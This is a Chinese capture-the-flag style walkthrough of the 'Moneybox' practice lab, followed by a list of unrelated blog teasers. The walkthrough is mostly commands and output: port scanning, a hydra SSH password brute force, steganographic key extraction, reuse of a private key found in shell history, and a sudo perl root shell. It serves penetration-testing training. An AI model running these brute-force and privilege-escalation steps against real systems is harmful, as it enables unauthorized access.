OSCP系列靶场-Esay-Moneybox保姆级
OSCP系列靶场-Esay-Moneybox
目录
- OSCP系列靶场-Esay-Moneybox
- 总结
- 准备工作
- 信息收集-端口扫描
- 目标开放端口收集
- 目标端口对应服务探测
- 信息收集-端口测试
- 21-FTP端口的信息收集
- 21-FTP版本版本信息
- 21-FTP端口匿名登录测试(存在)
- 21-FTP端口-文件GET收集
- 21-FTP端口-PUT上传测试
- 22-SSH端口的信息收集
- 22-SSH端口版本信息与MSF利用
- 22-SSH协议支持的登录方式
- 22-SSH手动登录尝试(无)
- 22-SSH弱口令爆破(静静等待)
- 80-HTTP端口的信息收集
- 信息收集-HTML隐藏信息查看
- 信息收集-目录扫描
- 信息收集-目录扫描初步
- 信息收集-目录访问
- /blogs/端点访问
- /S3cr3t-T3xt端点访问
- 漏洞利用-getwebshell
- key利用
- 信息泄露获得用户名
- SSH爆破登录
- 22-SSH账号密码登录
- 内网遨游-getshell
- FLAG1获取
- 信息收集-内网基础信息收集
- 检测Linux操作系统的发行版本
- 检测Linux操作系统的内核版本
- 检测当前用户的权限
- 列举出所有的sudo文件
- 列举出所有suid文件
- /etc/passwd权限收集
- /etc/shadow权限收集
- getcap标志进程收集
- 列举定时任务
- 查看历史信息
- 列举出所有的sudo文件
- 利用sudo -l寻找
- perl权限提升
- FLAG2获取
- 总结
总结
getwebshell
: 目录扫描发现目录 → HTML
中发现隐藏key
→ FTP
匿名发现图片 → 隐写术解开图片秘密 → 提示用户名爆破 → hyrda
爆破ssh
进入内部
提 权 思 路
: history
发现存在私钥 → 登录其他用户 → perl
权限提升
准备工作
- 启动VPN
获取攻击机IP →192.168.45.191
- 启动靶机
获取目标机器IP →192.168.162.230
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.162.230PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
开放的端口-→21,22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.162.230PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
信息收集-端口测试
21-FTP端口的信息收集
21-FTP版本版本信息
通过Nmap
探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
Nmap
探测信息为21/tcp open ftp vsftpd 3.0.3
# ftp配置文件位置
/etc/vsftpd.conf
21-FTP端口匿名登录测试(存在)
尝试匿名账号anonymous
以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp 192.168.162.230
Name: anonymous
21-FTP端口-文件GET收集
登录FTP之后利用ls
查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET
下载文件
# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# cd 查看存储的文件
ftp → cd [file_date_name]
# get 下载文件
ftp → get [file_name]
发现了trytofind.jpg
下载到了本地
打开是一张纯粹的图片,推测有隐写术
21-FTP端口-PUT上传测试
测试是否可以利用PUT
上传文件
# put 上传文件
ftp → put [file_name]
不具备上传功能
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
# 搜索对应脚本
msf6 → searchsploit openssh 7.9
无
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.162.230 -v
显示publickey
、password
就是支持密钥以及密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root @192.168.162.230 -p 22
# 密码尝试
password → root
弱密码尝试失败
22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
80-HTTP端口的信息收集
访问 http://192.168.162.230:80
不是CMS
我们直接从HTML
隐藏信息收集开始
网站说很简单,我不信(¬︿̫̿¬☆)
信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.162.230:80
无隐藏内容
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.162.230:80 -x 302,403
通过扫描发现了一个新的端点/blogs/
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/blogs/端点访问
从本文的消息我们可以发现黑客黑入了系统,并说明没有任何的防护设备
curl
了一下发现了新的隐藏路径S3cr3t-T3xt
/S3cr3t-T3xt端点访问
提示是没有
再curl
了一下,发现了新内容…一个key 3xtr4ctd4t4
漏洞利用-getwebshell
key利用
根据现有内容key
应该不代表密码,之前有一张图片可能存在隐写术,推测是它的密码
通过CHATGPT
推荐使用工具 steghide
通过chatgpt
获取对应的工具使用方式
steghide extract -sf -xf -p
其中:
- `` 是包含隐藏信息的图像文件
- `` 是提取的信息输出文件
- `` 是解密隐藏信息的密码
修改成我们需要的样子
steghide extract -sf trytofind.jpg -xf mian.txt
password → 3xtr4ctd4t4
成功获得main.txt
信息泄露获得用户名
打开发现内容 确定密码很简单并且用户名是renu
Hello..... renuI tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......
SSH爆破登录
这样我们可以尝试爆破一下renu
的账户,利用工具hyrda
# -l 指定用户名 -P指定密码字典
hydra -l renu -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.162.230 ssh -s 22
成功得到了账号密码信息
[22][ssh] host: 192.168.162.230 login: renu password: 987654321
22-SSH账号密码登录
获取账号密码之后利用SSH进行登录
sudo ssh renu @192.168.162.230 -p22
password → 987654321
成功打入内部,第一步完成
内网遨游-getshell
FLAG1获取
renu @MoneyBox:~$ find / -name local.txt 2→/dev/null
/home/renu/local.txt
renu @MoneyBox:~$ cat /home/renu/local.txt
ad71d6f825f157311d017a8bd94a7e03
信息收集-内网基础信息收集
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测Linux操作系统的发行版本
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
renu @MoneyBox:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
发行版本为Debian
,不太能overlayfs
提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛
提权
renu @MoneyBox:~$ uname -a
Linux MoneyBox 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux
内核版本为4.19.0
检测当前用户的权限
renu @MoneyBox:~$ id
uid=1001(renu) gid=1001(renu) groups=1001(renu)
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
sudo -l
发现需要密码,尝试987654321
失败
列举出所有suid文件
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null
/etc/passwd权限收集
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
renu @MoneyBox:~$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1486 Feb 26 2021 /etc/passwd
/etc/shadow权限收集
- 如果
/etc/shadow
具有写入权限可以尝试覆盖密码提权 - 如果
/etc/shadow
具有可读权限可以爆破密码
renu @MoneyBox:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1095 Oct 11 2022 /etc/shadow
getcap标志进程收集
高版本下suid
列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2→/dev/null
列举定时任务
查找所有的定时任务,并且查看定时任务是否具有修改权限
# 寻找定时任务并修改进行提权
cat /etc/crontab
查看历史信息
可能用户留下的历史信息具有有用的信息
history
发现存在登录到其他用户的历史命令
ssh -i id_rsa lily @192.168.43.8
查看一下本用户/home
目录下是否存在SSH
密钥
再查看一下lily
目录下是否存在authorized keys
确认存在之后尝试登录lily
的用户
# 修改一下ip
ssh -i id_rsa lily @ 192.168.162.230
登录成功,准备进行新的信息收集
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
利用sudo -l寻找
lily @MoneyBox:~$ sudo -l
Matching Defaults entries for lily on MoneyBox:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser lily may run the following commands on MoneyBox:(ALL : ALL) NOPASSWD: /usr/bin/perl
看到了内容 会心一笑
perl权限提升
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
sudo perl -e 'exec "/bin/sh";'
找到了提权的命令,提权成功
lily @MoneyBox:~$ sudo perl -e 'exec "/bin/sh";'
# is
/bin/sh: 1: is: not found
# id
uid=0(root) gid=0(root) groups=0(root)
FLAG2获取
# cat /root/proof.txt
7b0bce8f4b59a3db7d173f3e833e50f8
完结撒花~
总结
查看历史记录也是一件很重要的事情
相关文章:

OSCP系列靶场-Esay-Moneybox保姆级
OSCP系列靶场-Esay-Moneybox 目录 OSCP系列靶场-Esay-Moneybox总结准备工作信息收集-端口扫描目标开放端口收集目标端口对应服务探测 信息收集-端口测试21-FTP端口的信息收集21-FTP版本版本信息21-FTP端口匿名登录测试(存在)21-FTP端口-文件GET收集21-FTP端口-PUT上传测试 22-S…...

[python 刷题] 128 Longest Consecutive Sequence
[python 刷题] 128 Longest Consecutive Sequence 题目: Given an unsorted array of integers nums, return the length of the longest consecutive elements sequence. You must write an algorithm that runs in O(n) time. 这题给了一个没有排序的数组&#x…...

SpringMVC之JSON数据返回与异常处理机制
目录 一.SpringMVC的JSON数据返回 1.导入Maven依赖 2.配置spring-mvc.xml 3.ResponseBody注解的使用 3.1案例演示 1.List集合转JSON 2.Map集合转JSON 3.返回指定格式String 4. ResponseBody用法 5.Jackson 5.1介绍 5.2常用注解 二.异常处理机制 1.为什么要全局异常处…...
【第四阶段】kotlin语言的定义类和field关键字学习
1.普通成员变量背后隐士代码 为什么在kotlin中是private 可以直接调用,隐式代码如下 package Kotlin.Stage4class Test54{var name"kotlin"/*背后做的事NotNullprivate String name"kotlin";public void setName(NotNull String name){this.na…...
OpenResty使用漏桶算法实现限流
前言 其它项目组需要调用接口,添加接口限流,防止项目被狂掉宕机。生产用了openresty,所以在openresty上添加按接口限流,同时,需按照不同接口有不同的限流规则,使用openresty中内置的漏桶算法方式限流。 漏…...
Activiti源码跟踪之模型Model操作
Activiti源码跟踪之模型Model操作 模型model设计到的表ACT_RE_MODEL、ACT_GE_BYTEARRAY ACT_RE_MODEL表结构: CREATE TABLE ACT_RE_MODEL (ID_ varchar(64) COLLATE utf8_bin NOT NULL,REV_ int(11) DEFAULT NULL,NAME_ varchar(255) COLLATE utf8_bin DEFAULT N…...

C#-WinForm-发送邮件
登录QQ邮箱——设置——开启“POP3/SMTP服务” 登陆QQ邮箱→打开设置→开启“POP3/SMTP服务”,获取“授权码” 简单总结一下: 1、使用SmtpClient发送电子邮件是很简单的,只要正确创建了MailMessage对象和SmtpClient就可以很容易的发送出去电…...

Springboot整合jdbc和Mybatis
目录 整合jdbc 1. 新建项目 2. 编写yaml配置文件连接数据库 3. 测试类 使用原生的jdbcTemplate进行访问测试 使用Druid连接池 1. 添加类型 2. 初始化连接池 3. 编写config类 配置Druid数据源监视 整合Mybatis 1. 导入依赖 2. 编写mapper接口 3. 编写实体类 4. 编…...

日常生活中的常用命令及操作
目录 一、Windows11 中查看网卡名称 及ip地址 二、查看硬件的详细信息 三、查看显卡声卡详细信息及厂商 四、C盘清理 第一步 输入wini 开启Windows设置主界面 第二步 存储中还有一个叫存储感知的功能 第三步 更改新内容的保存位置 第四步 怕误C盘内的东西可以 查看详细的…...

【C++杂货铺】国庆中秋特辑——多态由浅入深详细总结
文章目录 一、多态的概念二、多态的定义及实现2.1 多态的构成条件2.2 虚函数2.3 虚函数的重写2.4 虚函数重写的两个例外2.4.1 协变(基类与派生类虚函数返回值类型不同)2.4.2 析构函数的重写(基类与派生类析构函数的名字不同) 2.5 …...

MongoDB基础详解
一、MongoDB概述 MongoDB 是一个基于 分布式文件存储 的开源 NoSQL 数据库系统,由 C 编写的。MongoDB 提供了 面向文档 的存储方式,操作起来比较简单和容易,支持“无模式”的数据建模,可以存储比较复杂的数据类型,是一…...

解锁前端Vue3宝藏级资料 第五章 Vue 组件应用 4 ( provide 和 inject )
5.5 provide 和 inject 前面的知识告诉我们vue中组件之间传递值需要使用props来完成,但是props也有一定局限性。这个时候在vue3中还有另外的解决方法。那就是使用 provide 和 inject 允许父组件将数据传递给所有后代组件,而不管组件层次结构有多深。你要…...

【List篇】LinkedList 详解
目录 成员变量属性构造方法add(), 插入节点方法remove(), 删除元素方法set(), 修改节点元素方法get(), 取元素方法ArrayList 与 LinkedList的区别Java中的LinkedList是一种实现了List接口的 双向链表数据结构。链表是由一系列 节点(Node)组成的,每个节点包含了指向 上一个…...

推动统一供应链“度量衡”,上汽大通突破传统拥抱SaaS生态
中国汽车市场规模已连续14年位居世界第一,目前占世界汽车份额31%。近年来,物联网、人工智能、电池等技术的快速发展,也为中国从汽车大国逐步迈向汽车强国注入巨大动力。在新一轮的汽车产业变革中,构建一个更智能、更高效协同的供应…...
蓝牙核心规范(V5.4)10.9-BLE 入门笔记之GAP
1.概述 蓝牙核心规范的通用访问配置文件(GAP)部分定义了与设备发现和在两个设备之间建立连接有关的过程。如何执行数据的基本无连接通信、如何使用周期性广播(参见 PADVB-LE Periodic Advertising Broadcast)以及如何设置等时通信(参见 LE BIS和LE CIS - Isochronous Com…...
nginx 配置 ssl
1.1 Nginx如果未开启SSL模块,配置Https时提示错误 原因也很简单,nginx缺少http_ssl_module模块,编译安装的时候带上--with-http_ssl_module配置就行了,但是现在的情况是我的nginx已经安装过了,怎么添加模块࿰…...

家居设计软件Live Home 3D Pro mac中文版特点介绍
Live Home 3D Pro mac是一款专业的3D家居设计软件,可以帮助用户轻松创建和设计家居平面图和3D模型,并进行渲染和虚拟漫游。 Live Home 3D Pro mac软件特点 1. 界面友好:Live Home 3D Pro的界面友好,操作简单方便…...
OkHttp - 现代应用网络的方式
官网:Overview - OkHttp HTTP is the way modern applications network. It’s how we exchange data & media. Doing HTTP efficiently makes your stuff load faster and saves bandwidth. OkHttp is an HTTP client that’s efficient by default: HTTP/2 s…...

SpringBoot3基础:最简项目示例
说明 本文建立一个最基本的SpringBoot3项目,依赖项仅包含 spring-web(SpringMVC)。 备注:SpringBoot3需要JDK17支持,配置方法参考: SpringBoot3项目中配置JDK17 项目结构图示 POM <?xml version&qu…...
flex:1详解,以及flex:1和flex:auto的区别
什么是flex:1? 在css中,我们经常可以看到这样的写法: .box {display: flex; }.item {flex: 1; }这里的flex:1相当于flex: 1 1 0%,它是一个简写属性,表示项目(flex item)在弹性容器…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》
引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...

23-Oracle 23 ai 区块链表(Blockchain Table)
小伙伴有没有在金融强合规的领域中遇见,必须要保持数据不可变,管理员都无法修改和留痕的要求。比如医疗的电子病历中,影像检查检验结果不可篡改行的,药品追溯过程中数据只可插入无法删除的特性需求;登录日志、修改日志…...

CocosCreator 之 JavaScript/TypeScript和Java的相互交互
引擎版本: 3.8.1 语言: JavaScript/TypeScript、C、Java 环境:Window 参考:Java原生反射机制 您好,我是鹤九日! 回顾 在上篇文章中:CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...
智能AI电话机器人系统的识别能力现状与发展水平
一、引言 随着人工智能技术的飞速发展,AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术,在客户服务、营销推广、信息查询等领域发挥着越来越重要…...
PAN/FPN
import torch import torch.nn as nn import torch.nn.functional as F import mathclass LowResQueryHighResKVAttention(nn.Module):"""方案 1: 低分辨率特征 (Query) 查询高分辨率特征 (Key, Value).输出分辨率与低分辨率输入相同。"""def __…...

免费数学几何作图web平台
光锐软件免费数学工具,maths,数学制图,数学作图,几何作图,几何,AR开发,AR教育,增强现实,软件公司,XR,MR,VR,虚拟仿真,虚拟现实,混合现实,教育科技产品,职业模拟培训,高保真VR场景,结构互动课件,元宇宙http://xaglare.c…...
webpack面试题
面试题:webpack介绍和简单使用 一、webpack(模块化打包工具)1. webpack是把项目当作一个整体,通过给定的一个主文件,webpack将从这个主文件开始找到你项目当中的所有依赖文件,使用loaders来处理它们&#x…...

Selenium 查找页面元素的方式
Selenium 查找页面元素的方式 Selenium 提供了多种方法来查找网页中的元素,以下是主要的定位方式: 基本定位方式 通过ID定位 driver.find_element(By.ID, "element_id")通过Name定位 driver.find_element(By.NAME, "element_name"…...
基于 HTTP 的单向流式通信协议SSE详解
SSE(Server-Sent Events)详解 🧠 什么是 SSE? SSE(Server-Sent Events) 是 HTML5 标准中定义的一种通信机制,它允许服务器主动将事件推送给客户端(浏览器)。与传统的 H…...